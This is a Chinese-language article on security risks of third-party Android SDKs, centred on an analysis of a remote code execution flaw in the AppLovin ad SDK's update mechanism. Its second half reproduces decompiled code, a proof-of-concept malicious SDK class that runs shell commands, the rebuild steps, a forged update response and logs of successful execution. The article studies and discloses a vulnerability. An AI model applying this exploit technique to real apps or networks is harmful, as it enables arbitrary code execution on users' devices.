Android應用安全之第三方SDK安全

  第三方sdk的包括廣告、支付、統計、社交、推送,地圖等類別,是廣告商、支付公司、社交、推送平臺,地圖服務商等第三方服務公司爲了便於應用開發人員使用其提供的服務而開發的工具包,封裝了一些複雜的邏輯實現以及請求,響應解析的API,因爲其使用的普遍性,一旦出現安全問題而且被黑客利用,其影響範圍之廣,危害之大不言而喻。html

    SDK的安全問題

       首先,一些惡意的Sdk自己會存在着安全威脅,除了衆所周知的獲取用戶隱私信息,如收集設備id(IMEI,IMSI等)、獲取用戶位置信息外,還存在着更嚴重的安全問題。好比某些sdk具備主動接收服務器指令的功能,它會根據須要收集短信、通話記錄和聯繫人等敏感信息。另外,它還會執行如動態下載代碼等危險操做。java

  其次,Sdk自身可能還會存在漏洞。若是這些漏洞被利用,攻擊者就可以利用sdk自己存在的強大功能發動惡意的攻擊行爲,例如在用戶毫無察覺的狀況下打開相機拍照,經過發送短信盜取雙因素認證令牌,或將設備變成僵屍網絡的一部分。android

下面介紹下目前在第三方sdk(主要是指廣告sdk)中發現的惡意行爲和漏洞。nginx

惡意行爲

  • 收集用於定位和追蹤用戶的信息,如設備id和位置信息,
  • 收集用戶的郵箱地址以及安裝在用戶設備上的應用程序列表。
  • 讀取短信、郵件、電話通話記錄和聯繫人列表,在沒有任何訪問控制措施的狀況下經過web服務公開共享這些數據。
  • 接收遠程服務器指令,下載任意代碼並執行。
  • 數據明文傳輸

漏洞

  • 經過明文傳輸數據

  經過HTTP明文傳輸用戶的隱私信息,使隱私信息很容易被竊取。FireEye 的研究者聲稱在Google Play的主流應用中有47%的廣告sdk存在該漏洞。web

  • 使用HTTP協議傳輸數據

使用不安全的HTTP協議從控制服務器接收命令或者動態加載代碼。攻擊者能夠經過中間人攻擊,劫持HTTP數據包,冒充服務器下發惡意指令、推送惡意代碼,將第三方sdk變成一個僵屍網絡。shell

       攻擊者有許多方法來利用sdk的漏洞。好比劫持公共WiFi:當受害者的設備鏈接到公共WiFi熱點(在咖啡店或機場等),攻擊者能夠在附近監聽AppLovin廣告sdk的數據包、注入惡意指令和代碼。bootstrap

       攻擊者也能夠經過DNS劫持的方式來達到利用漏洞的目的。在DNS劫持攻擊中,攻擊者能夠修改sdk廣告服務器的DNS記錄,把訪問者重定向到攻擊者本身的控制服務器,以便從受害者設備上收集隱私信息或者發送惡意控制指令到受害者設備上。瀏覽器

  • Webview漏洞

       WebView至關於一個瀏覽器窗口,應用程序可使用它來顯示網頁內容。addJavascriptInterface這個API容許運行在WebView中的JavaScript代碼來訪問應用的native功能。攻擊者能夠利用此漏洞,使用應用已有的權限,經過惡意的JavaScript代碼來對設備進行惡意操做。這個漏洞已經影響到超過90%的Android設備了。安全

       爲了下降安全風險,從Android 4.2開始,谷歌增長了一個叫作@JavascriptInterface的註解,開發人員可使用它來定義須要暴露給WebView中的JavaScript代碼的函數。這實質上是一個白名單機制,讓開發者決定什麼函數是容許被調用的。服務器

       然而添加 @JavascriptInterface註解只是在理論上下降了風險,其實際效用依賴於開發者如何使用它。另外,開發人員還能夠添加代碼,以便JavaScript調用任何應用暴露出來的函數(觸發這些行爲)都須要得到用戶的許可。

  • 使用動態加載的方式進行升級

採用運行時動態加載技術在Dalvik虛擬機中動態執行代碼做爲其升級機制的一部分,卻沒有對動態加載的代碼進行校驗。若是該部分代碼被黑客惡意篡改,則會給用戶形成嚴重的安全威脅。

       有些sdk自己具備危險行爲,同時又存在漏洞,這種特性咱們稱之爲「vulnaggressive」。這種特性並不侷限於廣告sdk,其它第三方組件和應用程序也存在。若是一個sdk具備「vulnaggressive」特性,則會使Android用戶,尤爲是企業用戶面臨嚴重的安全威脅。AppLovin廣告sdk就是一個實例。

    AppLovin的惡意威脅

       AppLovin廣告sdk的惡意行爲表如今收集用戶的敏感數據,嵌入了按需執行危險操做的功能,該sdk自己存在着嚴重的漏洞,使應用容易遭受攻擊者入侵。攻擊者利用sdk的漏洞,同時利用sdk自己的惡意行爲,攻擊者能夠在用戶的設備上下載並執行任意代碼。然而使用這些第三方sdk的應用開發人員每每不知道其中存在的安全風險,從而給企業用戶形成嚴重威脅。

       在咱們的研究中發現,許多包含AppLovin廣告sdk的Android應用具備強大的權限,它們能夠控制攝像機;讀寫短信、歷史通話記錄、聯繫人、瀏覽器歷史記錄和書籤;並在桌面上建立快捷方式。

       攻擊者能夠利用這些權限進行惡意操做。好比:

  • 經過短信竊取雙因素認證令牌
  • 在SD卡上查看照片和其餘文件
  • 在桌面上安裝圖標用於釣魚攻擊
  • 刪除文件和銷燬歷史數據
  • 冒充老闆發送僞造的業務短信給商業夥伴
  • 在沒有通知用戶的狀況下刪除接收到的短信
  • 撥打電話
  • 在沒有通知用戶的狀況下使用相機拍照
  • 讀取書籤或者將它們指向釣魚網站

       儘管AppLovin廣告sdk形成了嚴重的威脅,但因其具備隱蔽性,因此更加防不勝防:

  • AppLovin廣告sdk經過HTTP頭字段的數據編碼,而不是HTTP響應體從廣告服務器接收命令。
  • AppLovin廣告sdk的代碼被混淆,這使得使用傳統的分析方法變得困難。
  • AppLovin廣告sdk的行爲難以用傳統的分析方法來觸發。例如,在一種流行的遊戲中,AppLovin廣告sdk僅在遊戲中某些點執行,好比說達到遊戲中的特定級別。當AppLovin廣告sdk執行的時候,用戶可見的惟一影響是在屏幕頂部的廣告(以下圖所示)。然而,AppLovin廣告sdk卻在背後悄悄執行其危險行爲。

  

AppLovin廣告sdk的屏幕截圖

 

AppLovin漏洞剖析

       AppLovin廣告sdk5.0.3版本的升級機制存在遠程代碼執行漏洞。該廣告sdk採用運行時動態加載技術在Dalvik虛擬機中動態執行代碼做爲其升級機制的一部分。

       該廣告sdk會按期的經過http協議以明文方式與d.applovin.com進行數據傳輸。發送如下請求:

1 GET /sdk/android?interface=5.0.0&implementation=5.0.3 HTTP/1.1
2 User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.3; sdk Build/JWR66V)
3 Host: d.applovin.com
4 Connection: Keep-Alive
5 Accept-Encoding: gzip

而後服務端將進行響應,若是有更新,就把一個包含了要更新的sdk的jar文件下載到應用目錄下一個叫「app_al_sdk」的文件夾中:

/data/data/<vulnerable application>/app_al_sdk/<SDK version>.jar

當應用再次運行的時候,AppLovin廣告library就會檢測這個目錄下是否存在更新的jar,若是存在則將該jar包中的dex文件解壓出來替換/data/data/<vulnerable application>/al_outdex文件,這樣dex中的com.applovin.impl.bootstrap.SdkBoostrapTasksImpl類就會被動態加載,其中的startUpdateDownload方法也將會被調用。

從源代碼能夠得知,當一個包含AppLovin廣告sdk的應用啓動後,一個‘boot’進程就會啓動(因爲反編譯的關係,也多是‘bootstrap’進程、‘boostrap’進程)。以下所示,com.applovin.impl.bootstrap包中的UpdateSDK類負責發送更新請求和處理服務器響應:

  1 package com.applovin.impl.bootstrap;
  2 
  3 ..
  4 
  5 ..
  6 
  7 class UpdateSDK extends Thread {
  8 
  9     private final Context b;
 10 
 11     public UpdateSDK(SdkBoostrapTasksImpl arg2, Context arg3) {
 12 
 13         this.a = arg2;
 14 
 15         super();
 16 
 17         this.b = arg3;
 18 
 19         this.setName("AppLovinUpdateThread");
 20 
 21     }
 22 
 23     public void run() {
 24 
 25         SharedPreferences$Editor v0_3;
 26 
 27         String SdkUpdateinterval;
 28 
 29         int ResponseCode;
 30 
 31         StringBuffer uri;
 32 
 33         SharedPreferences BootstrapSettings = this.b.getSharedPreferences("applovin.sdk.boostrap", 0);
 34 
 35         String CheckSum = BootstrapSettings.getString("version", "");
 36 
 37         if(CheckSum == null || CheckSum.length() < 1) {
 38 
 39             CheckSum = "5.0.3";
 40 
 41         }
 42 
 43         InputStream ResponseStream = null;
 44 
 45         try {
 46 
 47             SdkBoostrapTasksImpl.a(this.a, "Checking for an update for the SDK interface: 5.0.0, implementation: "
 48 
 49                      + CheckSum + "...");
 50 
 51             uri = new StringBuffer(GetUpdateUri.a(this.b));
 52 
 53             uri.append("?").append("interface").append("=").append("5.0.0");  // ?interface=5.0.0
 54 
 55             uri.append("&").append("implementation").append("=").append(CheckSum);  // ?interface=5.0.0&implementation=5.0.3
 56 
 57             URLConnection RequestObject = new URL(uri.toString()).openConnection();
 58 
 59             ((HttpURLConnection)RequestObject).setRequestMethod("GET");
 60 
 61             ((HttpURLConnection)RequestObject).setConnectTimeout(20000);
 62 
 63             ((HttpURLConnection)RequestObject).setReadTimeout(20000);
 64 
 65             ((HttpURLConnection)RequestObject).setDefaultUseCaches(false);
 66 
 67             ((HttpURLConnection)RequestObject).setAllowUserInteraction(false);
 68 
 69             ((HttpURLConnection)RequestObject).setUseCaches(false);
 70 
 71             ((HttpURLConnection)RequestObject).setInstanceFollowRedirects(true);
 72 
 73             ((HttpURLConnection)RequestObject).setDoInput(true);
 74 
 75             ResponseCode = ((HttpURLConnection)RequestObject).getResponseCode();
 76 
 77             String SDKFileName = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Sdk-Implementation"); // filename?
 78 
 79             String SdkImpCheckSum = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Sdk-Implementation-Checksum");
 80 
 81             SdkUpdateinterval = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Sdk-Update-Interval");
 82 
 83             String AppLovinEventID = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Event-ID");
 84 
 85             SdkBoostrapTasksImpl.a(this.a, "Auto-update info: {code: " + ResponseCode + ", " + "eventId: "
 86 
 87                      + AppLovinEventID + ", " + "fileName: " + SDKFileName + ", " + "checksum: " + SdkImpCheckSum
 88 
 89                      + ", " + "interval: " + SdkUpdateinterval + "}");
 90 
 91             if(ResponseCode == 200) {
 92 
 93                 if(SDKFileName != null && SDKFileName.length() > 0) {
 94 
 95                     File SdkUpdateFile = new File(this.b.getDir("al_sdk", 0), SDKFileName);
 96 
 97                     ResponseStream = ((HttpURLConnection)RequestObject).getInputStream();
 98 
 99                     CheckSum = SdkBoostrapTasksImpl.a(ResponseStream, SdkUpdateFile);
100 
101                     if(CheckSum != null && (CheckSum.equals(SdkImpCheckSum))) {
102 
103                         SharedPreferences$Editor v3_2 = BootstrapSettings.edit();
104 
105                         v3_2.putString("version", SDKFileName);
106 
107                         v3_2.putString("interface", "5.0.0");
108 
109                         v3_2.putString("ServerEventId", AppLovinEventID);
110 
111                         v3_2.putString("ServerChecksum", CheckSum);
112 
113                         v3_2.commit();
114 
115                         SdkBoostrapTasksImpl.a(this.a, "New update processed: " + SDKFileName);
116 
117                         goto label_130;
118 
119                     }
120 
121                     SdkBoostrapTasksImpl.a(this.a, "SDK update checksum does not match. Expected " +
122 
123                             SdkImpCheckSum + ", but got " + CheckSum);
124 
125                     goto label_130;
126 
127                 }
128 
129                 SdkBoostrapTasksImpl.a(this.a, "Unable to receive SDK update: " + uri + " has not returend a file name");
130 
131             }

上述代碼從"applovin.sdk.boostrap"配置文件中讀取一個版本號做爲checksum,而後構造和發送如下請求:

1 GET /sdk/android?interface=5.0.0&implementation=5.0.3 HTTP/1.1
2 User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.3; sdk Build/JWR66V)
3 Host: d.applovin.com
4 Connection: Keep-Alive
5 Accept-Encoding: gzip

而後對接收到的如下服務器響應信息進行處理:

 1 HTTP/1.1 200
 2 
 3 Server: nginx
 4 
 5 Date: Mon, 21 Oct 2013 19:31:20 GMT
 6 
 7 Content-Type: text/html
 8 
 9 Connection: keep-alive
10 
11 Vary: Accept-Encoding
12 
13 Cache-Control: no-store, no-cache, must-revalidate
14 
15 AppLovin-Sdk-Update-Interval: 10
16 
17 AppLovin-Sdk-Next-Update-Time: 10
18 
19 AppLovin-Sdk-Implementation: 5.0.3.jar
20 
21 AppLovin-Sdk-Implementation-Checksum: a9e5f7c98ab3f1dc9ecab25f15ef09e25d5bce28
22 
23 AppLovin-Event-ID: 123456
24 
25 Content-Length: 1660

  服務器會返回以上的響應信息,這些數據被寫入到一個文件(文件名爲AppLovin-Sdk-Implementation頭的值,實際爲一個jar包)中,同時會產生一個SHA1 哈希值與AppLovin-Sdk-Implementation-Checksum頭的值進行匹配。響應頭中其它信息如 AppLovin-Sdk-Update-Interval頭 和 AppLovin-Sdk-Next-Update-Time頭被寫入到一個配置文件中以控制下次應用的更新時間間隔。

       當應用再次啓動時bootstrap進程初始化的流程就不一樣了。這個時候com.applovin.sdk.bootstrap包中的SdkBootstrap 類會從配置文件中讀取這些值,若是發現這些值不匹配則不會經過控制器去啓動更新機制。不然就去檢查app_al_sdk目錄下是否存在jar文件並與配置文件中的版本值相匹配,匹配則將jar包中的classess.dex文件解壓到app_al_outdex文件夾中。

 1 package com.applovin.sdk.bootstrap;
 2 
 3 ..
 4 
 5 ..
 6 
 7 public class SdkBootstrap {
 8 
 9 ..
10 
11 ..
12 
13 private void BootstrapSdkClassLoaderInit(Context AppContext) {
14 
15         this.VerboseLogging = AppLovinSdkUtils.isVerboseLoggingEnabled(AppContext);
16 
17         SharedPreferences bootstrapPref = AppContext.getSharedPreferences("applovin.sdk.boostrap", 0
18 
19                 );
20 
21         String versionVal = bootstrapPref.getString("version", "");
22 
23         String interfaceVal = bootstrapPref.getString("interface", "");
24 
25         if(versionVal.length() <= 0 || !"5.0.0".equals(interfaceVal)) {
26 
27             this.disable();
28 
29         }
30 
31         else {
32 
33             File FileNameParam1 = new File(AppContext.getDir("al_sdk", 0), versionVal);
34 
35             if((FileNameParam1.exists()) && FileNameParam1.length() > 0) {
36 
37                 this.ThisClassLoader = new SdkClassLoader(FileNameParam1, AppContext.getDir("al_outdex"
38 
39                         , 0), SdkBootstrap.class.getClassLoader());
40 
41                 goto checkForUpdates;
42 
43             }
44 
45             this.Log_("SDK implementation file " + versionVal + " has no content, using default implementation"
46 
47                     );
48 
49             this.disable();
50 
51         }
52 
53 ..
54 
55 ..

在com.applovin.sdk.bootstrap.SdkClassLoader類中SdkClassLoader 方法被調用:

 1 package com.applovin.sdk.bootstrap;
 2 
 3 ..
 4 
 5 ..
 6 
 7 public class SdkClassLoader extends DexClassLoader {
 8 
 9     public SdkClassLoader(File FileNameParam, File DirectoryNameParam, ClassLoader ClassLoaderObject
10 
11             ) {
12 
13         super(FileNameParam.getAbsolutePath(), DirectoryNameParam.getAbsolutePath(), null, ClassLoaderObject
14 
15                 );
16 
17     }
18 
19 ..
20 
21 ..

類加載器對象加載classes.dex,並做爲參數從checkForUpdates方法中傳遞到loadImplementation方法中:

 1 package com.applovin.sdk.bootstrap;
 2 
 3 ..
 4 
 5 ..
 6 
 7 public class SdkBootstrap {
 8 
 9 ..
10 
11 ..
12 
13  public void checkForUpdates()
14 
15   {
16 
17     if (AppLovinSdkUtils.isAutoUpdateEnabled(this.d))
18 
19     {
20 
21       SdkBoostrapTasks localSdkBoostrapTasks = (SdkBoostrapTasks)loadImplementation(SdkBoostrapTasks.class);
22 
23       if (localSdkBoostrapTasks != null)
24 
25         localSdkBoostrapTasks.startUpdateDownload(this.d.getApplicationContext());
26 
27     }
28 
29   }

loadImplementation 方法以下:

 1 package com.applovin.impl.bootstrap;
 2 
 3 ..
 4 
 5 ..
 6 
 7 public class SdkBoostrapTasksImpl implements SdkBoostrapTasks {
 8 
 9 ..
10 
11 ..
12 
13 try
14 
15     {
16 
17       String str1 = paramClass.getSimpleName();
18 
19       String str2 = paramClass.getPackage().getName();
20 
21       String str3 = str2.substring(1 + str2.lastIndexOf('.'));
22 
23       String str4 = "com.applovin.impl." + str3 + "." + str1 + "Impl";
24 
25       a("Loading " + str4 + "...");
26 
27       Object localObject = paramClass.cast(this.e.loadClass(str4).newInstance());
28 
29       return localObject;
30 
31     }

這個方法從提供的classes.dex文件中加載com.applovin.impl.bootstrap.SdkBoostrapTasksImpl類而且返回一個對象(即localSdkBoostrapTasks)給checkForUpdates方法,checkForUpdates方法再經過返回的這個對象調用startUpdateDownload方法。

 1 public void checkForUpdates()
 2 
 3   {
 4 
 5     if (AppLovinSdkUtils.isAutoUpdateEnabled(this.d))
 6 
 7     {
 8 
 9       SdkBoostrapTasks localSdkBoostrapTasks = (SdkBoostrapTasks)loadImplementation(SdkBoostrapTasks.class);
10 
11       if (localSdkBoostrapTasks != null)
12 
13         localSdkBoostrapTasks.startUpdateDownload(this.d.getApplicationContext());
14 
15     }
16 
17   }

SdkBoostrapTasksImpl 類中startUpdateDownload 方法原型以下:

 1 package com.applovin.impl.bootstrap;
 2 
 3 ..
 4 
 5 ..
 6 
 7 public class SdkBoostrapTasksImpl implements SdkBoostrapTasks {
 8 
 9 ..
10 
11 ..
12 
13   public void startUpdateDownload(Context paramContext)
14 
15   {
16 
17     this.a = AppLovinSdkUtils.isVerboseLoggingEnabled(paramContext);
18 
19     SharedPreferences localSharedPreferences = paramContext.getSharedPreferences("applovin.sdk.boostrap", 0);
20 
21     long l1 = System.currentTimeMillis();
22 
23     long l2 = localSharedPreferences.getLong("NextAutoupdateTime", 0L);
24 
25     if ((l2 == 0L) || (l1 > l2))
26 
27       new b(this, paramContext).start();
28 
29   }

攻擊者能夠經過從新實現com.applovin.impl.bootstrap.SdkBoostrapTasksImpl類中的startUpdateDownload 方法構造一個惡意的sdk更新。爲了達到這個目的,須要對包含有漏洞的AppLovin sdk應用進行反編譯。

$ unzip VulnerableApp.apk

利用dex2jar將解壓後獲得的classes.dex文件反編譯成jar包:

$ dex2jar.sh classes.dex

建立一個eclipse工程,將工程Properties設置爲「Is Library」(在工程右擊-properties-Android最下面,有個Is library,選擇後-apply肯定,表示此工程能夠公開給別的工程使用),而後將上一步獲得的classes_dex2jar.jar文件複製到lib目錄下。

$ cp classes-dex2jar.jar ~/eclipse-workspace/MWRAppLovin/libs/

接下來建立com.applovin.impl.bootstrap包和SdkBoostrapTasksImpl類,PoC以下:

 1 package com.applovin.impl.bootstrap;
 2 
 3 import java.io.BufferedWriter;
 4 
 5 import java.io.IOException;
 6 
 7 import java.io.OutputStreamWriter;
 8 
 9 import android.content.Context;
10 
11 import android.os.Environment;
12 
13 import android.util.Log;
14 
15 import com.applovin.sdk.bootstrap.SdkBoostrapTasks;
16 
17 public class SdkBoostrapTasksImpl implements SdkBoostrapTasks {
18 
19            public SdkBoostrapTasksImpl() {
20 
21         super();
22 
23     }
24 
25        @Override
26 
27        public void startUpdateDownload(Context AppContextParam) {
28 
29                             AppContextParam.getApplicationContext();
30 
31                             Log.i("[mwr]", "startUpdateDownload — running our injected code");
32 
33                             String path = Environment.getExternalStorageDirectory().getPath();
34 
35                                    String[] commands = {
36 
37                             "echo -e \"--[mwr]--\" > " + path + "/mwr.txt\n",
38 
39                    "id >> " + path + "/mwr.txt\n"
40 
41                    };
42 
43                             execCommands(commands);
44 
45               }
46 
47                public Boolean execCommands(String... command) {
48 
49                             Runtime rtime = Runtime.getRuntime();
50 
51                Process child = null;
52 
53                            try {
54 
55                      child = rtime.exec("/system/bin/sh");
56 
57               } catch (IOException e1) {
58 
59               }
60 
61                              BufferedWriter outCommand = new BufferedWriter(new OutputStreamWriter(child.getOutputStream()));
62 
63                                 try {
64 
65                       for(int i = 0; i < command.length; i++) {
66 
67                                 Log.i("[mwr]", "execCommands — executing " + command[i]);
68 
69                                    outCommand.write(command[i]);
70 
71                                    outCommand.flush();
72 
73                       }
74 
75                   } catch (IOException e) {
76 
77                   }
78 
79                   return true;
80 
81               }
82 
83 }

上面的PoC會將當前用戶id寫入sd卡的mwr.txt文件中。若是這個lib庫已經被編譯成jar包,則必須用dx將其重打包爲dex。

$ dx --dex --output=mwr_applovin_sdk.jar mwrapplovin.jar

(注:dx --dex --output=target.jar origin.jar  首先將origin.jar編譯成origin.dex文件(Android虛擬機認識的字節碼文件),而後再將origin.dex文件壓縮成target.jar)

而後攻擊者須要僞造服務器對客戶端更新請求的響應而且發送惡意sdk更新,同時須要生成惡意jar包的checksum(sha1哈希):

$ shasum mwr_applovin_sdk.jar

860b438285557693a30a89874df5c26a6fadfb92

一個僞造的響應以下所示:

 1 HTTP/1.1 200
 2 
 3 Server: nginx
 4 
 5 Date: Mon, 21 Oct 2013 19:31:20 GMT
 6 
 7 Content-Type: text/html
 8 
 9 Connection: keep-alive
10 
11 Vary: Accept-Encoding
12 
13 Cache-Control: no-store, no-cache, must-revalidate
14 
15 AppLovin-Sdk-Update-Interval: 1000
16 
17 AppLovin-Sdk-Next-Update-Time: 1000
18 
19 AppLovin-Sdk-Implementation: mwr_applovin_sdk.jar
20 
21 AppLovin-Sdk-Implementation-Checksum: 860b438285557693a30a89874df5c26a6fadfb92 22 
23 AppLovin-Event-ID: 123456
24 
25 Content-Length: 1660
26 
27 <BINARY DATA>

用logcat查看廣告插件的日誌信息,從相關event可知惡意jar文件已經被下載:

1 I/AppLovinSdk(  742): [Boostrap] Auto-update info: {code: 200, eventId: 123456, fileName: mwr_applovin_sdk.jar, checksum: 860b438285557693a30a89874df5c26a6fadfb92, interval: 10}
2 
3 I/AppLovinSdk(  742): [Boostrap] New update processed: mwr_applovin_sdk.jar
4 
5 I/AppLovinSdk(  742): [Boostrap] Next update is at: "1382624665463"

下述log信息代表當應用再次啓動的時候,從jar包中釋放出了dex文件而且惡意代碼已經執行:

 1 /dalvikvm( 3280): DexOpt: --- BEGIN 'mwr_applovin_sdk.jar' (bootstrap=0) ---
 2 
 3 D/dalvikvm( 2949): GC_FOR_ALLOC freed 0K, 3% free 56131K/57696K, paused 156ms, total 156ms
 4 
 5 D/dalvikvm( 3398): DexOpt: load 41ms, verify+opt 15ms, 80116 bytes
 6 
 7 D/dalvikvm( 3280): DexOpt: --- END 'mwr_applovin_sdk.jar' (success) ---
 8 
 9 D/dalvikvm( 3280): DEX prep '/data/data/<vulnerable app>/app_al_sdk/mwr_applovin_sdk.jar': unzip in 0ms, rewrite 286ms
10 
11 I/AppLovinSdk( 3280): [Boostrap] Loading com.applovin.impl.bootstrap.SdkBoostrapTasksImpl...
12 
13 D/AppLovinSdk( 3280): Loading SDK implementation class: com.applovin.impl.bootstrap.SdkBoostrapTasksImpl
14 
15 I/[mwr]   ( 3280): startUpdateDownload — running our injected code
16 
17 I/[mwr]   ( 3280): execCommands — executing echo -e "--[mwr]--" >> /mnt/sdcard/mwr.txt
18 
19 I/[mwr]   ( 3280): execCommands — executing id >> /mnt/sdcard/mwr.txt

adb命令代表執行很成功:

1 $ adb shell 
2 
3 root@generic:/ # cat /mnt/sdcard/mwr.txt 
4 
5 --[mwr]-- 
6 
7 uid=10048(u0_a48) gid=10048(u0_a48) groups=1006(camera),1015(sdcard_rw),1028(sdcard_r),3003(inet),50048(all_a48)

參考資料:

http://www.pcworld.com/article/2093460/mobile-users-at-risk-from-lack-of-https-use-by-mobile-ad-libraries-security-researchers-say.html

https://www.fireeye.com/blog/threat-research/2013/10/ad-vulna-a-vulnaggressive-vulnerable-aggressive-adware-threatening-millions.html

https://labs.mwrinfosecurity.com/blog/2013/11/20/applovin-ad-library-sdk-remote-command-execution-via-update-mechanism/

相關文章
相關標籤/搜索